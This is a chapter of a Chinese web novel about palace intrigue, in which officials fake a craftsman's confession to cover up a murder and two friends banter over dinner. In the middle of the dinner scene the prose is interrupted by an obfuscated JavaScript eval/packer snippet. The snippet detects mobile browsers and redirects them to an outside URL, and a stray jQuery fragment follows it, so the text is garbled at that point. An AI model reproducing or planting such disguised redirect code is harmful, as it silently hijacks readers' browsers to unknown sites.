17. 御修
作品:《通月明》 沈弃微又得入宫,走得很是匆忙,这回将李旦一并叫上,连同刘敛财泡得灰青的尸/体。
尸/体被抬上担架。
萧御修压着声说:“勒痕太明显,沈弃微早已生疑。”
李旦给尸/体盖上白布道,“好办,张崇松那边早有准备,他查不出什么。”
李旦吩咐禁军把担架抬走,他攀着禁军的肩,被抬花轿似的抬走,脸上就写着四个字。
游刃有余。
这个案件已成定局,那些人为了保陈乔啸,或是自保,早拧在了一起,无论沈弃微怎么查,怎么问,他都能迎刃而解。
***
唐元刚收到消息,按刀快步朝审堂走。
张崇松正往里出来,脸上溅着血,阴鸷至极。
“松哥。”唐元小声说,“刘少卿尸体找出来了,殿下与中候已经进宫面圣,后面必然得查到天理寺,咱们没时间了。”
张崇松擦去脸上血,说,“现在传出消息,工师认罪,是他勒死的太常少卿刘敛财。”
唐元说,“是!”
张崇松攥着帕子,看着上边殷红的血,再次折返审堂。
里面没有窗,充斥着血腥的腥臭,只有案桌上的蜡烛撑起昏暗,门一关,犹如人间炼狱。
工师范卓血淋淋地趴在长凳上,奄奄一息,双手像被抽了骨,死气沉沉地垂在两侧,鲜血顺着指尖渗透在冷硬的地砖里。
他听见关门声,手指微微抽动。
张崇松的靴子踩着地砖,案桌前他拿起早已模仿好的证词,黄纸黑字,就是差最后的红。
张崇松目光削向范卓,盯着血红的手。
花祈台塌是天意,陈乔啸作为监工,宣文帝怪罪下来他得担全责。要是其他原因,圣怒有了发泄点,陈乔啸好歹会好受点。
但是偷工减料这样的事情,发生在陈乔啸眼皮子底下,他都没有察觉。
陈乔啸罪责难逃。
张崇松自负,没与张家残后苟藏,他留在锦阳茕茕孑立,只有陈乔啸一个昔日兄弟,就算背信弃义,他也要保住人。
张崇松丢开范卓黏糊的手,将黄纸收好。
身后的范卓被血呛到,咳了两声突然咯咯笑起来,乍一听像是惊悚的哭声。
范卓人还趴着,像是被割破喉咙,从里边漏出嘶哑的声音,说,“为什么,是我,我做错了什么……”
烛火晃动,范卓只看到黑,伸手不见五指的黑。
“雨夜动工是被逼无奈,我为以圣旨为先,我又做错了什么……”范卓说,“你们为了自保要杀我,比我罪孽还要深重的人,要踩着我的尸骨苟活。刘少卿死了,是谁杀的?是你们,如今你们又要杀我。”
外边雨听不见,外边天看不见。
范卓分不清时辰,只听滴答滴答的水声,敲开了锦阳地下的地狱门,那些妄死的人凄厉哀嚎,今夜过后,他范卓也要成为锦阳下的孤魂野鬼。
“弃车保帅……张向景,你忘了,忘了张御史对你的期望,忘了你的初心,”范卓的话利如刀锋,说,“你成了锦阳臭沟里的虫子,依附着皇权,吸着权势的血……你为了陈乔啸这个鄙薄庶子,倍心倍德倍恩倍义①,他日你落得与我一样的处境,谁又能保你……”
蜡烛燃到最后,微弱的光已经支撑不起昏暗,范卓大限将至,他凄切地说:“没有人能保你……”
张崇松背光的肩颤动,他不是忘了,而是那些东西早已经烂了。
他惜若真金,翻找出来却一文不值。臭沟里泡了三年,早已经腐败发臭。
他已不是才高八斗,有着‘语不惊人死不休’抱负的张向景,他是四大家断了的傲骨,是逆境里不屈不饶后,自暴自弃的张崇松。
是世人忘了张向景,留了他张崇松。
蜡烛灭了,刹那黑不见影,最后一点烛心慢慢褪去红色。
张崇松出去说道:“该上路了。”
寂静无声,他关上门,挺拔的背影在阴冷的甬道里,显得又孤独又哀怜。
***
隔日案子敲定。
工师认罪后自戕而死,把自己的罪过写得清清楚楚,明明白白。
他与刘敛财沆瀣一气,因动工产生口角,在花祈台大吵了一架,他从而怀恨在心,花祈台打的地基少了三分之一,接连大雨,导致台塌人亡的惨案。
刘敛财畏罪,欲弃范卓自保。范卓恼羞成怒,将人勒死后藏尸花祈台下,又命人以刘敛财的名义,将赃银运到刘府。伪装成畏罪自杀,栽赃嫁祸。
纸终究包不住火,沈弃微审听到他与刘敛过节的消息,尸体也被找了出来,范卓见事情败露,自行认罪自尽,祈求减轻罪刑,饶了妻儿老小一命。
范卓刘敛财已死无对证,太常寺那些官员口述一致,人证物证俱全,沈弃微问不出任何东西。
花祈节又将近,重建花祈台刻不容缓,杜起闻等人被释放监工。
陶坤在御前替陈乔啸说话,只挨了板,被撤了职,照样活生生的。
***
陈乔啸在家装模作样躺了半个月。
他挨了几十大板出的天理寺,的亏是张崇松监刑,让人放了垫子轻点打。
虽然丢了官,但玩的时间大把有了,整日呼朋唤友,好不快活。
该玩的玩了,该吃的吃了,但是陈乔啸这心里依旧有个疙瘩,痒痒的。
锦阳雨过天晴,道上还有余水。
萧御修受不了陈乔啸整日盛情相邀,终于溜下山赴宴,其实是沈弃微被问烦了,放的他下山。
他风尘仆仆地掀开帘子,里面只有陈乔啸一人,他高兴得拍拍左边的位置,说,“御修!这儿这儿!坐这儿!”
以陈乔啸这尿性怎么能只请他一人。
萧御修大步走过去说,“今日怎的?专门请的我?”
陈乔啸连忙拉着人坐下,说:“可不是!左右没得你消息,担心得兄弟我睡不着,以为殿下真把你打瘸毒哑囚起来了。”
萧御修跑得口干舌燥,撑着席,连灌了三杯水,喝足了说,“这不至于,把人想得忒坏了。”
陈乔啸巴巴地望着人,按耐不住的问,“那殿下呢?殿下怎么没来?”
萧御修一时没答话,以陈乔啸的尿性,哪次没提沈弃微?
他不知道这人是真没心没肺,还是装得过人,圣刀从脖子上擦过,还能失心疯地念着沈弃微。
“殿下染了风寒,现在还躺着。”萧御修挑着凉拌松花蛋,说,“世子与张公子呢?”
“张崇松在天理寺脱不开身。世子……”陈乔啸瞄眼萧御修,观察着脸色,说,“请了御修你,怎么还能请他?李旦这人嘛,混得很,长得俊的狗往他身边过都能看两眼。你们都是我兄弟,我说句公道话,李旦他妈的不仗义,那个瑶琴更不用说,坏透了,两头通吃!”
萧御修听着话不对,放下筷,说:“所以你的意思是……”
“女人嘛,就和换衣服一样!”陈乔啸打圆场说:“兄弟情可贵,千万不能因为女人伤了兄弟情。过几日兄弟我再给你物色物色,那个坏女人,不要也罢!骗情骗爱,亏死人了。”
萧御修扶额撑膝,脸色说不上的为难,他摸摸额头说:“我看这不成,我只要瑶琴,其他的都是扯淡。”
自古英雄难过美人关,萧御修是被迷得神魂颠倒。
陈乔啸语重心长,御修长,御修短地劝着人,足足两刻钟才把人劝好。
陈乔啸翘着腿往地上一躺,嘴里嚼着肉。瞧见萧御修被闷出了汗,正用方白帕子擦汗。
那帕子可是救过命的东西,他一眼就认出了。
沈弃微能为他在御前求情,还得是见了萧御修给的帕子。
陈乔啸日想夜想,这二人的关系差得不行,能有什么能耐让殿下出手相助?
那夜萧御修严峻的样子,在陈乔啸脑子里久久挥散不去。那么果决,和眼前这个被欺压的绣花枕完全判若两人。
陈乔啸想不明白,以这二人的性子,但凡有一人不愿意,那都是不可能有好话说。
但是这……
不管了,先问问!
陈乔啸支身撑着头,熟练地抛吃花生,直言说:”你和殿下……什么关系?”
萧御修微怔,随后一笑,说不上的邪气,面不改色心不跳地说:“不瞒你,还真让你说对了,殿下他想睡我呢。”
花生砸在陈乔啸脸上,屋顶好像细微瓦碎声,但是他现在管不了那么多,骨碌爬了起来。不可置信地说:“那你为了我,真他妈睡了?”
“当然没啊。”萧御修说,“我又不是断袖,后来反悔了。”
陈乔啸凑前,“殿下没弄死你?”
萧御修笑得更邪,说,“这回命好,他病了没心思弄我。”
陈乔啸还在回味,点了点头坐回去,说,“当初说什么来着,我直觉准不会错,结果你还和我急,现在好了吧,你不信兄弟啊御修。”
“我就长这鸟样,那能想到。”萧御修饿坏了一样,嘴里没停过,他舀了碗汤,问,“这什么汤?”
陈乔啸把菜都挪过去,平常萧御修都不吃菜,今日这般肯定是被苛刻了伙食。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378079|157315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈乔啸心疼坏了,说,“开荤的,鹿茸红枣枸杞汤,大补,多喝点。”
“那这汤好。”萧御修端碗说,“听着就大补,肯定好。”
“必须的,李旦天天喝呢!”
“……”
***
萧御修回临风山碰见下山的温其均。
温其均通报完,与萧御修擦肩而过,又怒又恼地瞪萧御修一眼,又快步融入漆黑。
萧御修轻扯衣领,他吃酒吃热了,沐着夜风往竹苑走,春来凉凉的风平息了一点燥热。
开春开始变暖,沈弃微还是披着毛氅衣,捂着暖手炉在作画,他听见门边的动静,握拳轻咳几声,说,“御修回来了。”
沈弃微声音温和轻柔,比山间吹来的春风还要温柔。
萧御修看眼人,警惕起来,这个称呼,被沈弃微叫出了棉里藏针的感觉。
萧御修行了礼。
沈弃微没抬头,提笔在纸上描摹作画,点着烛火,整个人隐在烛光里,微掩着唇咳嗽,看着无比孱弱。
“瑶琴今日没来寻萧公子么?”沈弃微沾色说。
炭火把屋里烧得热烘烘的,萧御修闷出汗又扯了扯领子,沈弃微又搁这明知故问。他自顾自倒茶说:“没来,臣下回去寻她。”
沈弃微轻笑出声,像是讽笑。
一杯凉茶入喉,萧御修更是口干舌燥。
燥。
就跟身体点了一把火,热得很。
萧御修把窗打开通风,撩按起额间的发,走近说:“臣对瑶琴是认真的,并非滥用感情。”
“这样啊……”沈弃微声音轻,抬眸带笑问,“不看我画什么吗?”
萧御修抱胸,顺着话说:“什么?”
沈弃微病态柔美,看起来狡猾极了,说,“绿柳成荫,红杏出墙。”
迎着沈弃微狡猾的视线,萧御修真以为自己头上有片绿。
他无比燥热,多说几个字就燥得像干涸开裂的湖,无比渴望一场甘霖,滋润他的干燥的口舌。
萧御修舔了唇说,“好诗。”
“陈乔啸丢了职,现在彻底混吃等死了。”萧御修视线从画上移到沈弃微身上,焦躁地叉着腰说,“他不是块料,已经没了用处,殿下还要臣与他接近吗?”
“当然。”沈弃微无视灼热的视线,在画上提词说,“陈乔啸被革职在所难免,本想趁机助萧公子官登都尉,不曾想陛下迟迟没有另立此官的想法。”
“这样一来让世子与林卫彪得了势,他们可是一丘之貉。你得罪了世子,还得靠陈乔啸浇水灭火。”沈弃微语气变了,“不过,陈乔啸很得军心,用自己的□□钱将那些禁军养得肥水直流。他虽然被撤了,但他的军心还在。他还是能控制北军的好棋子。现下该想的是……”
“萧公子很热么?都发汗了。”沈弃微眸中清澈,像汪淡水。
淡水微凉,浇不灭萧御修眼中灼灼的火。
沈弃微说什么他一句没听清,他抚额转身,灌了两杯茶,说,“屋里太闷了。”
不够,喝得还不够。
萧御修燥死了,越喝越渴。今夜这酒劲忒猛,一股热血在体内奔涌。
回头一定要问问陈乔啸,今日的酒里掺了什么东西。
热血涌动没有尽头。
沈弃微没管他,耐不住窗外吹来寒,低头收拾东西,说:“半日不见,让陈乔啸给哄娇贵了。有劳萧公子高抬贵手,走时带个窗。”
沈弃微袖风带灭烛火。
墨色暗涌,泼墨般染尽长夜。
“殿下说话比唱得还好听。”萧御修似被彻底给磨没脾气了,乖乖地去关窗,说,“臣的使者有消息了吗?”
沈弃微微顿,放下纱幔,说,“不曾有。”
萧御修虽对沈弃微不抱希望,但听着意料之中的答案难免失落。
“殿下歇息,臣先告退。”萧御修出了屋,燥热中生出一股郁闷,他走了几步,大马金刀坐在凉阶上,垂头沉思。
夜是如此沉,风舞乱萧御修的发,他抛出的石子一直坠,久久没有回响,沈弃微防心甚重,他也不完全信任沈弃微。
那夜的承诺轻如鸿毛,或重于泰山。
背靠的底气坚如磐石,亦虚无缥缈。萧御修没有底,一日找不到老师,他便煎熬一日。
萧御修迷茫了。
迷失在远方的狼崽找不到方向,夜空广阔无垠,没有星月,没有枯枝高墙。孤立无援中,狼崽继续藏着锋锐的獠牙利爪,在夜里孤独嚎叫,等待狼群的回应。
坐了半晌,萧御修拍拍屁股走人。